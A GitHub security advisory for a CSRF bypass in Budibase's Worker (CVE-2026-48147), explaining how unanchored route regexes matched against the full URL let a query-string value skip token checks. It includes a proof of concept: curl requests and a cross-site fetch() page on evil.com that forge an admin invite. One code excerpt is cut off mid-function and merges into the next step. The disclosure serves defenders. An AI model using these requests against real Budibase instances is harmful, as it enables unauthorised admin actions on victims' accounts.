GitHub Advisoryadvisory · npm

GHSA-wxq7-x3qp-vcr8 Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker

MEDIUM Published 2026-06-12 Modified 2026-06-12 Official page ↗
Aliases
CVE-2026-48147
Ecosystem
npm
Packages
@budibase/backend-core
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Weaknesses
CWE-185, CWE-352
Reviewed
2026-06-12

Affected packages

• npm @budibase/backend-core: < 3.35.4 → fixed in 3.35.4

Description

Summary The `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into unanchored regular expressions and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched. --- Details Root cause — `packages/backend-core/src/middleware/matchers.ts`: ```typescript export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => { return patterns.map(pattern => { let route = pattern.route // replaces :param segments with /.* const matches = route.match(PARAM_REGEX) if (matches) { for (let match of matches) { const suffix = match.endsWith("/") ? "/" : "" route = route.replace(match, "/.*" + suffix) } } return { regex: new RegExp(route), method, route } // ^ no ^ anchor, no $ anchor — matches anywhere in string }) } export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { const urlMatch = regex.test(ctx.request.url) // full URL including query string const methodMatch = method === "ALL" ? true : ctx.request.method.toLowerCase() === method.toLowerCase() return urlMatch && methodMatch }) } ``` Two compounding bugs identical to the patched CVE: 1. `new RegExp(route)` — no `^` start anchor, no `$` end anchor. 2. `ctx.request.url` — full URL string including `?query=value`, not just the path. --- CSRF middleware — `packages/backend-core/src/middleware/csrf.ts`: ```typescript export function csrf( opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] } ) { const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns) return (async (ctx: Ctx, next: Next) => { const found = matches(ctx, noCsrfOptions) if (found) { return next() // ' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roleId":"ADMIN","userInfo":{}}' \ -v → HTTP 403 CSRF token mismatch ``` Step 2 — CSRF bypass via query string injection: ```bash With the bypass — append a public-route pattern in the query string curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: ' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roleId":"ADMIN","userInfo":{}}' \ -v → HTTP 200 OK — invite created, no CSRF token required ``` Step 3 — Cross-site exploitation (victim visits attacker page): ```html fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: '[email protected]', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) ``` When the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite. --- Impact An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include: • User management: send admin/operator invites, delete users, modify roles • Global configuration: update authentication settings (SSO, OIDC, SMTP), change branding • Tenant administration: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version 3.32.3, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.

Related

Alias · CVE (1)

  • CVE-2026-48147 Budibase is an open-source low-code platform. vulnerability

Weakness · CWE (2)

  • CWE-185 Incorrect Regular Expression weakness
  • CWE-352 Cross-Site Request Forgery weakness

References